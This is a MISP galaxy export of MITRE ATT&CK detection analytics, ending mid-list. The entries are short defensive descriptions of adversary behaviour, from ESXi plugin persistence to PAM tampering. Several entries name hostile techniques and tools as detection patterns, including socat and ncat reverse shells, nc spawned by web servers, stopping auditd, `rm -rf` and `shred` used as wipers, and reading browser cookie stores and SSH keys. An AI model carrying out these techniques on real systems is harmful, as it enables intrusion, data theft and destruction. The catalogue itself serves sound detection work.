https://attack.mitre.org/detectionstrategies/DET0544#AN1501

Analytic 1510 - AN1510

Use of ESXi web interface plugins or vSphere extensions to embed persistent malicious scripts or services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1510 - AN1510"*

Table 6196. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0547#AN1510

Analytic 0151 - AN0151

Outlook or Word used to forward suspicious internal attachments with macro content. Defender observes attachment forwarding, auto-opening behaviors, or macro prompt interactions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0151 - AN0151"*

Table 6197. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0054#AN0151

Analytic 0115 - AN0115

Detects deletion of launch agents (~/Library/LaunchAgents/) and launch daemons (/Library/LaunchDaemons/), especially after suspicious process execution or when tied to known persistence methods.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0115 - AN0115"*

Table 6198. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0040#AN0115

Analytic 1150 - AN1150

Monitor unified logs for manipulation of proxy configurations, DNS resolution, or filtering rules. Adversaries may redirect responses or use trusted domains that later resolve to malicious C2 infrastructure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1150 - AN1150"*

Table 6199. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0411#AN1150

Analytic 1015 - AN1015

Execution of utilities (e.g., ping, tracert, Test-NetConnection) or scripted methods to test Internet connectivity by interacting with external IPs/domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1015 - AN1015"*

Table 6200. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0357#AN1015

Analytic 1105 - AN1105

Multiple AWS CloudTrail events indicating temporary privilege escalation via PassRole and AssumeRole targeting newly created services or non-interactive infrastructure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1105 - AN1105"*

Table 6201. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0393#AN1105

Analytic 0511 - AN0511

Creation or modification of stored procedures invoking xp_cmdshell or CLR assemblies for command execution and persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0511 - AN0511"*

Table 6202. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0181#AN0511

Analytic 1061 - AN1061

Unauthorized or anomalous loading of kernel-mode drivers or DLLs, concealed services, or abnormal modification of boot components indicative of rootkit activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1061 - AN1061"*

Table 6203. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0377#AN1061

Analytic 1106 - AN1106

Token creation or access delegation where a user impersonates a higher-privileged service account or performs domain-wide delegation actions, such as GCP's serviceAccountTokenCreator or Workspace impersonation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1106 - AN1106"*

Table 6204. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0393#AN1106

Analytic 1610 - AN1610

Abuse of JamPlus.exe to launch malicious payloads via crafted .jam files, resulting in abnormal process creation, command execution, or artifact generation outside of standard development workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1610 - AN1610"*

Table 6205. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0585#AN1610

Analytic 1160 - AN1160

Programmatic or excessive access to file shares, SharePoint, or database repositories by users not

typically interacting with them. This includes abnormal access by privileged accounts, enumeration of large numbers of files, or downloads of sensitive content in bursts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1160 - AN1160"*

Table 6206. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0413#AN1160

Analytic 0161 - AN0161

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0161 - AN0161"*

Table 6207. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0058#AN0161

Analytic 1016 - AN1016

Execution of ping, traceroute, or curl/wget against public IPs/domains to verify Internet reachability.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1016 - AN1016"*

Table 6208. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0357#AN1016

Analytic 0116 - AN0116

Detects adversary removal of persistence implants (e.g., rc.local entries or crontab injections) via CLI (`rm`, `sed`, `crontab -r`) and deletion of startup or management scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0116 - AN0116"*

Table 6209. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0040#AN0116

Analytic 1601 - AN1601

Process using URLSession or similar API to fetch from web services without any response handling, indicative of one-way C2 channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1601 - AN1601"*

Table 6210. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0581#AN1601

Analytic 0611 - AN0611

Abuse of DYLD_INSERT_LIBRARIES or hijacking framework paths for malicious libraries. Defender observes processes invoking abnormal dylibs, modified plist files, or persistence entries pointing to altered binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0611 - AN0611"*

Table 6211. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0218#AN0611

Analytic 1017 - AN1017

Execution of ping, traceroute, or network utility tools to external destinations; may include `scutil` or system_profiler.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1017 - AN1017"*

Table 6212. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0357#AN1017

Analytic 1170 - AN1170

Detects usage of FTP, SCP, or TFTP by non-interactive shells or automation scripts transferring large data volumes to untrusted IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1170 - AN1170"*

Table 6213. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0416#AN1170

Analytic 1107 - AN1107

Detection of ApplicationImpersonation role assignment or delegated mailbox access to service principals or rarely used users, especially outside of normal hours or geographic norms.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1107 - AN1107"*

Table 6214. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0393#AN1107

Analytic 0171 - AN0171

Disabling or modifying the Linux Audit system through process termination (auditd killed), service management (systemctl stop auditd), or tampering with rule/configuration files (/etc/audit/audit.rules, audit.conf). Defender view: suspicious execution of auditctl/systemctl commands, file modifications to audit rules, or sudden absence of audit logs correlated with privileged execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0171 - AN0171"*

Table 6215. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0062#AN0171

Analytic 1071 - AN1071

Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1071 - AN1071"*

Table 6216. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380#AN1071

Analytic 0711 - AN0711

Unusual access to SSH agent sockets in /tmp/ or /private/tmp, process access to another user's $SSH_AUTH_SOCK, and lateral SSH activity without corresponding login events. Defender view: correlation of socket access with anomalous network flows to internal systems.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0711 - AN0711"*

Table 6217. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0256#AN0711

Analytic 0117 - AN0117

Adversary with write access to storage modifies lifecycle policies (e.g., via PutBucketLifecycle) to schedule rapid object deletion across one or more storage buckets. This is often used to trigger impact (destruction), remove logs (defense evasion), or force extortion (ransomware).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0117 - AN0117"*

Table 6218. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0041#AN0117

Analytic 1701 - AN1701

The user is prompted for approval when an application requests device administrator permissions. Application vetting services can check for the string `BIND_DEVICE_ADMIN` in the application's manifest. This indicates it can prompt the user for device administrator permissions. The user can see which applications are registered as device administrators in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1701 - AN1701"*

Table 6219. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0630#AN1701

Analytic 1710 - AN1710

System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1710 - AN1710"*

Table 6220. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0636#AN1710

Analytic 1180 - AN1180

Monitor unified DNS logs for abnormal domain queries with low lexical similarity to known domains, repeated failed lookups, and random string structures. Cross-check with process logs to confirm unusual origins (non-browser apps).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1180 - AN1180"*

Table 6221. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0419#AN1180

Analytic 1108 - AN1108

Unexpected file creation in web directories followed by web server processes (e.g., w3wp.exe) spawning command shells or script interpreters (e.g., cmd.exe, powershell.exe)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1108 - AN1108"*

Table 6222. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0394#AN1108

Analytic 0181 - AN0181

Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination. Defender perspective: correlation between commands including nohup, disowned jobs, or & suffix with continued process execution after parent terminal exit.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0181 - AN0181"*

Table 6223. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0067#AN0181

Analytic 1081 - AN1081

Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1081 - AN1081"*

Table 6224. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0384#AN1081

Analytic 0811 - AN0811

Detects SaaS web login followed by dashboard or web GUI page views from unfamiliar locations,

devices, or access patterns. Identifies use of sensitive reporting or configuration consoles accessed from high-risk accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0811 - AN0811"*

Table 6225. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0291#AN0811

Analytic 0118 - AN0118

Detects abuse of verclsid.exe to execute COM objects by monitoring process creation, CLSID arguments, DLLs or scriptlet engines loaded into memory, and If the CLSID points to remote SCT/HTA content, verclsid.exe makes outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0118 - AN0118"*

Table 6226. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0042#AN0118

Analytic 1018 - AN1018

Execution of `ping`, `vmkping`, or `curl` from shell or through automation jobs/scripts to verify Internet egress.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1018 - AN1018"*

Table 6227. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0357#AN1018

Analytic 1801 - AN1801

Application vetting services could look for use of the accessibility service or features that typically require root access. The user can see a list of applications that can use accessibility services in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1801 - AN1801"*

Table 6228. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0690#AN1801

Analytic 1810 - AN1810

Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1810 - AN1810"*

Table 6229. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0696#AN1810

Analytic 0191 - AN0191

Phishing via Office documents containing embedded macros or links that spawn processes. Detection relies on correlating Office application logs with suspicious child process execution and outbound network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0191 - AN0191"*

Table 6230. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0191

Analytic 0911 - AN0911

Execution of virtualization binaries (Parallels, VMware Fusion, VirtualBox) with arguments to hide UI. File monitoring for plist modifications indicating hidden virtualization behavior. Defender perspective: tracking process lineage and file modifications in system configs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0911 - AN0911"*

Table 6231. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0321#AN0911

Analytic 1019 - AN1019

Detection of excessive or programmatic access to Confluence spaces or pages, particularly by privileged users, through a combination of access logs, API usage, and identity context. Correlates logon sessions, user roles, and abnormal document viewing or export behavior. Identifies burst access patterns and tools/scripts abusing the Confluence API for mass enumeration or data scraping.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1019 - AN1019"*

Table 6232. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0358#AN1019

Analytic 1190 - AN1190

Detects command-line tools, agents, or scripts making outbound HTTPS connections to popular web services like Discord, Slack, Dropbox, or Graph API in an unusual context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1190 - AN1190"*

Table 6233. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0425#AN1190

Analytic 1109 - AN1109

File creation of unauthorized script (e.g., .php, .sh) in /var/www/html followed by execution of unexpected system utilities (e.g., curl, bash, nc) by apache/nginx

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1109 - AN1109"*

Table 6234. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0394#AN1109

Analytic 0119 - AN0119

Unusual process or API usage attempting to query system locale, timezone, or keyboard layout (e.g., calls to GetLocaleInfoW, GetTimeZoneInformation). Detection can be enhanced by correlating with processes not typically associated with system configuration queries, such as unknown binaries or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0119 - AN0119"*

Table 6235. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0043#AN0119

Analytic 1091 - AN1091

Detects anomalous ARP traffic or cache modifications on Windows endpoints that indicate ARP poisoning. Behavioral focus is on multiple IP addresses resolving to a single MAC, or unsolicited ARP replies from unauthorized devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1091 - AN1091"*

Table 6236. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0387#AN1091

Analytic 2012 - AN2012

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2012 - AN2012"*

Table 6237. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0880#AN2012

Analytic 0122 - AN0122

Detection of queries to instance metadata services (e.g., AWS IMDS, Azure Metadata Service) for availability zone, region, or network geolocation details. Correlation with non-management accounts or non-standard workloads may indicate adversary reconnaissance.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0122 - AN0122"*

Table 6238. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0043#AN0122

Analytic 1220 - AN1220

Execution of SyncAppvPublishingServer.vbs through wscript.exe with a command-line containing embedded PowerShell, proxying malicious PowerShell execution through a Microsoft-signed VBScript interpreter to evade detection and restrictions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1220 - AN1220"*

Table 6239. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0440#AN1220

Analytic 1022 - AN1022

LaunchAgents or LaunchDaemons initiate persistent Tor or relay processes that make encrypted outbound connections. May be paired with sandbox bypasses or unsigned executables communicating over SOCKS proxies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1022 - AN1022"*

Table 6240. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359#AN1022

Analytic 1202 - AN1202

Monitor email message traces and headers for failed SPF, DKIM, or DMARC checks indicating spoofed sender identities. Correlate abnormal sender domains or mismatched return-paths with elevated spoofing likelihood.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1202 - AN1202"*

Table 6241. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0431#AN1202

Analytic 0212 - AN0212

Execution of file transfer or network access activity through non-primary interfaces (e.g., WiFi, Bluetooth, cellular) by processes not typically associated with such behavior (e.g., rundll32, powershell, regsvr32).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0212 - AN0212"*

Table 6242. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0077#AN0212

Analytic 0221 - AN0221

Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request → service crash/5xx → service spawns shell or writes file → new outbound connection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0221 - AN0221"*

Table 6243. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0080#AN0221

Analytic 2021 - AN2021

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2021 - AN2021"*

Table 6244. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0889#AN2021

Analytic 1023 - AN1023

Outbound encrypted traffic initiated from hypervisor shell or via VM backdoor mechanisms to relays in VPS infrastructure, especially if traversing multiple nodes before reaching Internet destination. Packet captures or firewall logs show non-VM communication paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1023 - AN1023"*

Table 6245. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359#AN1023

Analytic 0312 - AN0312

Detection of changes or execution of shell initialization scripts like .bashrc, .profile, or /etc/profile for persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0312 - AN0312"*

Table 6246. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112#AN0312

Analytic 1203 - AN1203

Detects spoofed emails by analyzing mail server logs (e.g., Postfix, Sendmail) for mismatched header fields, failed SPF/DKIM checks, and anomalies in SMTP proxy logs. Defender observes discrepancies between sending domain, return-path domain, and message metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1203 - AN1203"*

Table 6247. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0431#AN1203

Analytic 0132 - AN0132

Monitors programmatic access to user mailboxes in cloud-based email systems (e.g., O365, Exchange Online) using APIs or tokens. Focuses on OAuth misuse, suspicious MailItemsAccessed patterns, scripted keyword searches, and connections from untrusted agents or locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0132 - AN0132"*

Table 6248. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0048#AN0132

Analytic 1320 - AN1320

Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals. Correlates suspicious file changes with remote access artifacts or web shell behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1320 - AN1320"*

Table 6249. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0480#AN1320

Analytic 0213 - AN0213

Use of `rfkill`, `nmcli`, or low-level tools (e.g., `iw`, `hcitool`, `pppd`) to enable alternate interfaces followed by data transfer via non-primary NICs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0213 - AN0213"*

Table 6250. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0077#AN0213

Analytic 0231 - AN0231

Modification of user desktop backgrounds, login screen messages, or system banners by

adversaries using admin privileges or script execution. May coincide with tampering in /Library/Desktop Pictures/ or use of AppleScript.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0231 - AN0231"*

Table 6251. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0082#AN0231

Analytic 2013 - AN2013

If infrastructure or patterns in the malicious web content related to SEO poisoning or [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2013 - AN2013"*

Table 6252. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0881#AN2013

Analytic 2031 - AN2031

Detection of HTTP outbound requests with inconsistent or spoofed User-Agent headers from command-line tools (e.g., curl, wget, python requests) following interactive user shells or scheduled jobs outside of normal user session behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2031 - AN2031"*

Table 6253. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0898#AN2031

Analytic 1230 - AN1230

User-space tools (e.g., `socat`, `ncat`, `iptables`, `ssh`) used in non-standard ways to establish reverse shells, port-forwarding, or inter-host connections. Often chained with uncommon outbound destinations or SSH tunnels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1230 - AN1230"*

Table 6254. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445#AN1230

Analytic 1302 - AN1302

Detects embedded macros or scripts added to shared documents or use of external references to execute code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1302 - AN1302"*

Table 6255. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471#AN1302

Analytic 0123 - AN0123

Installation of a new browser extension followed by suspicious file writes or outbound network connections to untrusted domains by the browser process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0123 - AN0123"*

Table 6256. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0044#AN0123

Analytic 1032 - AN1032

Correlation of Registry key creation/modification events under known Run/Startup keys with new or unusual binary paths or script-based payloads. Multi-event detection includes registry modification followed by process execution from non-standard directories or abnormal parent-child process relationships.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1032 - AN1032"*

Table 6257. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0365#AN1032

Analytic 0321 - AN0321

Use of non-enterprise email or messaging services in Thunderbird, Evolution, or browsers leading to suspicious file downloads and subsequent execution. Defender view includes browser-initiated downloads of unexpected content and shell or interpreter processes launched post-download.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0321 - AN0321"*

Table 6258. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0115#AN0321

Analytic 0142 - AN0142

Correlate command executions involving 'sudo' with elevated effective user ID (euid=0), especially when tty_tickets is disabled or timestamp_timeout is actively abused.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0142 - AN0142"*

Table 6259. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0052#AN0142

Analytic 1204 - AN1204

Detects suspicious inbound mail traffic where SPF/DKIM/DMARC authentication fails or where sender and return-path domains mismatch, observable in Apple Mail unified logs or MDM-controlled logging pipelines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1204 - AN1204"*

Table 6260. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0431#AN1204

Analytic 1420 - AN1420

Detects escalation via vulnerable setuid binaries or kernel modules, often chained with unusual access to /proc/kallsyms or /dev/kmem.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1420 - AN1420"*

Table 6261. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0514#AN1420

Analytic 0124 - AN0124

Installation of malicious .mobileconfig profiles or browser extension plist entries followed by abnormal browser child process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0124 - AN0124"*

Table 6262. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0044#AN0124

Analytic 1042 - AN1042

Execution of file or directory discovery commands (e.g., 'ls', 'find') from terminal or script-based tooling, especially outside normal user workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1042 - AN1042"*

Table 6263. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370#AN1042

Analytic 0214 - AN0214

AppleScript or system calls to activate WiFi/Bluetooth interfaces (`networksetup`, `blueutil`), followed by exfiltration via AirDrop, cloud sync, or network socket.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0214 - AN0214"*

Table 6264. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0077#AN0214

Analytic 1240 - AN1240

Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1240 - AN1240"*

Table 6265. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1240

Analytic 0412 - AN0412

Massive recursive deletions or overwrites via `rm -rf`, `shred`, `dd`, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0412 - AN0412"*

Table 6266. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0412

Analytic 0241 - AN0241

Defender observes use of CLI tools (`find`, `grep`, `ls`, `dpkg`, `rpm`, `systemctl`, `ps aux`) to discover backup agents or config files (e.g., rsnapshot, duplicity, veeam). This often includes command lines that recursively search `/etc/`, `/opt/`, or `/var/` directories for keywords like `backup`, and parent-child relationships involving shell or Python scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0241 - AN0241"*

Table 6267. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0088#AN0241

Analytic 0421 - AN0421

Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0421 - AN0421"*

Table 6268. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148#AN0421

Analytic 1024 - AN1024

Encrypted traffic or ICMP tunneling from border routers to internal routers or unknown external IPs. Forwarded traffic shows consistent hop-to-hop relaying without matching configured VPN or expected network topology.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1024 - AN1024"*

Table 6269. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359#AN1024

Analytic 2014 - AN2014

Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control [Web Service](https://attack.mitre.org/techniques/T1102) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567) .

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2014 - AN2014"*

Table 6270. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0882#AN2014
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1402 - AN1402

Detects suspicious access to browser session cookie storage (e.g., Chrome's `Cookies` SQLite DB) or memory reads of browser processes. Anomalous injection or memory dump utilities targeting browser processes such as `chrome.exe`, `firefox.exe`, or `msedge.exe`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1402 - AN1402"*

Table 6271. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509#AN1402

Analytic 0521 - AN0521

Detects deletion or overwriting of bash history, syslog, audit logs, and .ssh metadata following privilege elevation or suspicious process spawning.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0521 - AN0521"*

Table 6272. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0521

Analytic 1025 - AN1025

Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1025 - AN1025"*

Table 6273. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0360#AN1025

Analytic 0512 - AN0512

SQL stored procedures that invoke OS-level commands via `xp_cmdshell` equivalent or via UDF (User-Defined Functions) mechanisms.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0512 - AN0512"*

Table 6274. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0181#AN0512

Analytic 1052 - AN1052

Execution of PowerShell commands that modify mailbox permissions using Exchange cmdlets (e.g., Add-MailboxPermission), often tied to BEC or post-compromise persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1052 - AN1052"*

Table 6275. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0373#AN1052

Analytic 1520 - AN1520

Anomalous high-volume access to customer records in CRM software by a non-CRM admin user account, especially following initial authentication from a rare location or device. Behavior includes abnormal access to PII fields or data exports within a short time window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1520 - AN1520"*

Table 6276. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0550#AN1520

Analytic 0125 - AN0125

Manual or scripted installation of Chrome extensions using user scripts or config files, followed by unexpected network connections from browser processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0125 - AN0125"*

Table 6277. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0044#AN0125

Analytic 0152 - AN0152

Detection of adversary attempts to enumerate Group Policy settings through suspicious command execution (gpresult), PowerShell enumeration (Get-DomainGPO, Get-DomainGPOLocalGroup), and abnormal LDAP queries targeting groupPolicyContainer objects. Defenders observe unusual process lineage, script execution, or LDAP filter activity against domain controllers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0152 - AN0152"*

Table 6278. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0055#AN0152

Analytic 0251 - AN0251

Installation or execution of a malicious browser or IDE extension, followed by abnormal registry entries or outbound network connections from the host application

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0251 - AN0251"*

Table 6279. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0092#AN0251

Analytic 2015 - AN2015

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2015 - AN2015"*

Table 6280. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0883#AN2015

Analytic 1502 - AN1502

Monitor for suspicious use of cloud-native administrative command services (e.g., AWS Systems Manager Run Command, Azure RunCommand, GCP OS Config) to execute code inside VMs. Detect anomalies such as commands/scripts executed by unexpected users, execution outside of maintenance windows, or commands initiated by service accounts not normally tied to administration. Correlate cloud control-plane activity logs with host-level execution (process creation, script execution) to validate if commands materialized inside the guest OS.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1502 - AN1502"*

Table 6281. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0545#AN1502

Analytic 1250 - AN1250

Detects unauthorized modifications to PAM configuration files or shared object modules. Correlates file modification events under /etc/pam.d/ or /lib/security/ with unusual authentication activity such as multiple simultaneous logins, off-hours logins, or logons without corresponding physical/VPN access.

